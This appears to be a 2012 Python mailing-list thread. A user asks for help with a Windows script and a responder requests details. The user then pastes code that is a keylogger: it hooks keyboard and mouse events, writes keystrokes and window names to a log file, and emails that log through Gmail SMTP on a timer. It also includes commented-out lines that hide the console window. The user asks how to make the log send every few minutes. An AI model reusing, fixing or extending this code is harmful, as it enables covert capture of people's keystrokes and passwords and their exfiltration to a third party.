בת×ריך ×™×•× ×©×™×©×™, 30 ×‘× ×•×‘×ž×‘×¨ 2012 21:47:57 UTC+2, מ×ת Prasad, Ramit:
I am not sure how to even begin helping you. I do not even know
what is wrong other than "can't make both of them work simultaneously".
What version of Python and OS? Are you using any 3rd party modules?
What is the code you use? What happens and what do you expect? How
are you getting the logs for email? Are they being passed in or are
you using a log file?
~Ramit
This email is confidential and subject to important disclaimers and
conditions including on offers for the purchase or sale of
securities, accuracy and completeness of information, viruses,
confidentiality, legal privilege, and legal entity disclaimers,
available at
http://www.jpmorgan.com/pages/disclosures/email.
This is the code:
=======================
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading
#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)
log = ""
logpath = "log.txt"
openfile = open(logpath,"w")
openfile.write("")
#openfile = open(logpath,"r+")
l = threading.Lock()
def sendEmail():
print("ready to send email")
fromaddr = '(e-mail address removed)'
toaddrs = '(e-mail address removed)'
msg = open('log.txt',"r").read()
username = 'something'
password = 'something'
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
print("mail sent")
def sendEmailAuto(dt,openfile):
tt = time.time()
nn = tt+dt
while tt<nn:
print(tt,nn)
if tt>=nn-0.5:
#l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
msg = open('log.txt',"r").read()
print(msg)
sendEmail()
tt = time.time()
nn = tt+dt
log = ""
#l.release()
else:
tt = time.time()
def OnKeyboardEvent(event):
try:
global log
if event.Alt == 32 and event.KeyID == 160:
log = "[LangCh]"
elif event.KeyID>=37 and event.KeyID<=40:
log = "["+event.Key+"]"
elif event.Ascii == 8:
log = "[BS]"
elif event.Ascii == 9:
log = "[TAB]"
elif event.Ascii == 13:
log = "[NL]"
elif event.Ascii == 27:
log = "[ESC]"
elif event.Alt == 32 and event.KeyID == 75:
openfile.close()
sendEmail()
exit()
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
return True
def OnMouseEvent(event):
global log
if event.MessageName == "mouse left down":
log = "<"+event.WindowName +">\n"
openfile.write(log)
if event.MessageName == "mouse left up" and event.WindowName ==None :
log = "-\n"
openfile.write(log)
return True
thread.start_new_thread(sendEmailAuto, (10,openfile))
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent
hm.HookKeyboard()
hm2.HookMouse()
pythoncom.PumpMessages()
========================================
i want that an email will be sent to the address every 5 minutes for example.
i'm working on Windows7 and the latest python version.